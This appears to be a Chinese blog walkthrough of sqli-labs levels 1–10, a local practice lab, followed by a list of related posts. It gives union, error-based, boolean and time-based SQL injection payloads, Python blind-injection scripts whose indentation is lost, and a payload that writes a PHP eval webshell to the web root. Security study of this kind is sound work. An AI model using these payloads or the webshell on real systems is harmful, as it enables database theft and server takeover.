Less 1-4(基础注入)

基础知识:

  • table_schema:数据库的名称
  • table_name:表的名称
  • column_name:列的名称
  • information_schema:表示所有信息,包括库、表、列
  • information_schema.tables:表示所有表的信息
  • information_schema.columns:表示所有列的信息
  • limit 0,1 :从第0位(第一个)开始搜索1个
  • group_concat:将结果联合在一行输出

查库

  • select 1,2,group_concat(schema_name) from information_schema.schemata

Payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

selete 1,2是因为发现有三个输出位置,第一个没有结果,需要爆的的位置在2,3均可。

不一定一定是'闭合,不同题还可能是",)等等。

最后的+会被解析成空格,如果没有+,注释符号--会和'再一起导致报错。

查表

  • select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

Payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查列

  • select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

查字段

  • select 1,2,group_concat(username,0x3a,password) from security.users

0x3a 16进制转10进制就是58 转字符就是;

payload与前面类似

Less 5-6(报错注入)

  1. floor报错

    • 1'后+ or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

  2. extractvalue报错

    • 1'后+or extractvalue(1, concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+
    • 上面是查表,其他的类似更改就行。
    • 结果只能一个一个显示,故是limit x,1。要逐个查询则更改x的值。

Less 7 (导入文件注入)

  • 一点补充,不同软件及系统下网站根目录:

linux:/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm

apache:.../var/www/htm,.../var/www/html/htdocs

phpstudy(我就是这个):...\PHPTutorial\WWW\

那么该怎么获取到呢,这个板块我们无法拿到,可以在之前Less 1试试

payload:?id=-1' union select 1,@@basedir,@@datadir --+

成功拿到了地址

现在回到Less 7

payload:?id=1')) union select 1,2,'<?php @eval($_POST["theoyu"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

发现并没能传入文件..

百度得知需要查看mysql有无写入权限:

  • 打开mysql 输入show variables like '%secure%';

  • 这里是我已经更改过的,没有更改的secure_file_priv这里value应该是NULL,需要打开mysql.ini加入secure_file_priv="/"

  • 然后就是上面我的样子了!就可以传文件了。

  • 之后就可以用蚁剑或者菜刀为所欲为了~

Less 8(布尔注入)

payload:?id=1' and (select length(database())=1) --+

这里不断更改1,2直到8,根据页面是否返回you are in......判断正确与否,这里用python脚本尝试爆破数据库长度和名字。

import requests
import re
import datetime target_url='http://localhost/sqli-labs-master/Less-8/' '''Get database length'''
def get_database_length(target_url):
print('Loading...')
for i in range(1,10):
payload = "?id=1' and (select length(database())=%s) --+"%i
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
print('Database length: %s' %i)
return i '''Get database name'''
def get_database_name(target_url):
db_name = ''
db_length = get_database_length(target_url)
letters = 'abcdefghijklmnopqrstuvwxyz'
for i in range(1,db_length + 1):
for letter in letters:
payload = "?id=1' and substr(database(),%s,1)='%s' --+" %(i, letter)
r = requests.get(target_url + payload)
if 'You are in' in r.text:
db_name += letter
print(db_name)
break print('Database name:%s'%db_name)
return db_name if __name__ == '__main__':
print('+---------------------------------------------------------------------------------------------+')
begin = datetime.datetime.now()
target_url = 'http://127.0.0.1/sqli-labs-master/Less-8/'
database = get_database_name(target_url) print('+---------------------------------------------------------------------------------------------+')

结果如下:

也不知道为什么,速度真的很慢很慢很慢??平均每个字母尝试都画了一秒,一个字节就画了快一分钟(还是我没把数字包含进去),看视频里都是刷瞬间就弄完了,寻思我的电脑也没那么烂阿?

哦对了不想用python的话用burp suite也可以,很简单速度好像还快一些。

Less 9-10 (基于时间的盲注)

  • 在这两个模块,无论我们输入什么,返回的结果都是一样的,只能用sleep函数,根据返回的时间进行判断。
import requests
import datetime
import time
global length def database_len():
for i in range(1,10):
url='''http://localhost/sqli-labs-master/Less-9/'''
payload='''?id=1' and if(length(database())=%d,sleep(3),0) --+'''%i
start_time=time.time()
requests.get(url+payload)
if time.time()-start_time>3:
print('database length is ',i)
global length
length=i
break
else:
print(i)
database_len() def database_name():
name=''
for j in range(1,length+1):
for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
url='''http://localhost/sqli-labs-master/Less-9/'''
payload='''?id=1' and if(substr(database(),%d,1)='%s',sleep(3),0)--+'''%(j,i)
start_time=time.time()
requests.get(url+payload)
if time.time()-start_time>3:
name+=i
print(name)
break
print('database_name:',name) database_name()
  • 输出结果

Sqli-labs 1-10的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  6. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  7. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  8. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI DUMB SERIES-9&&10

    第五关.第八关以及第九关.第十关都是使用盲注,除了第五关说的双注入外,也可使用时间注入法 (1)无论输入啥,都回显相同 (2) ?id=1' and sleep(3) --+ 发现有明显延迟,说明可以 ...

随机推荐

  1. WEB应用中的路径问题及乱码问题

    1 WEB应用中的路径问题  在web应用中,由于使用转发跳转路径时,地址栏不变.此时使用相对路径(../)存在404现象. 故使用绝对路径,解决web应用的路径问题. 什么是绝对路径,以 “/” 开 ...

  2. __getattribute__和item系列

    # class Foo: # def __init__(self,x): # self.x=x # # def __getattr__(self, item): # print('执行的是我') # ...

  3. ubuntu apt-get 安装找不到包问题

    1.首先 sudo gedit /etc/apt/sources.list  删除全部换成国内源 (推荐163) 2.考虑 ubuntu apt-get update失败 1.出现错误:E:Could ...

  4. Python中匿名函数与内置高阶函数详解

    大家好,从今天起早起Python将持续更新由小甜同学从 初学者的角度 学习Python的笔记,其特点就是全文大多由 新手易理解 的 代码与注释及动态演示 .刚入门的读者千万不要错过! 很多人学习pyt ...

  5. 解放双手!用 Python 控制你的鼠标和键盘

    在工作中难免遇到需要在电脑上做一些重复的点击或者提交表单等操作,如果能通过 Python 预先写好相关的操作指令,让它帮你操作,然后你自己去刷网页打游戏,岂不是很爽?] 很多人学习python,不知道 ...

  6. 【av68676164(p38-p40)】进程调度

    6.1 进程调度概念 进程调度 在合适的时候以一定策略选择一个就绪进程运行 进程调度的目标 响应速度尽可能快 进程处理的时间尽可能短 系统吞吐量尽可能大 资源利用率尽可能高 对所有进程要公平 避免饥饿 ...

  7. 每日一道 LeetCode (10):搜索插入位置

    每天 3 分钟,走上算法的逆袭之路. 前文合集 每日一道 LeetCode 前文合集 代码仓库 GitHub: https://github.com/meteor1993/LeetCode Gitee ...

  8. 2020重新出发,JAVA学前了解,Windosws常用快捷键

    前言:windows 常用快捷键 标准计算机键盘共104键,除了26个字母键.符号键.数字键外,剩下的都是一些功能键: 键盘功能键 常用功能键:Esc.Tab.Caps Lock.Shift.Ctrl ...

  9. 用 cgo 生成用于 cgo 的 C 兼容的结构体

    假设(并非完全假设,这里有 demo)你正在编写一个程序包,用于连接 Go 和其它一些提供大量 C 结构体内存的程序.这些结构可能是系统调用的结果,也可能是一个库给你提供的纯粹信息性内容.无论哪种情况 ...

  10. 解决pgAdmin4启动失败方法

    1. 问题现象 有时pgadmin 4启动仅显示启动界面, 或者 点击图标一直都没反应,启动界面用鼠标点击下就消失了, 然后过很长时间就保错: the application server could ...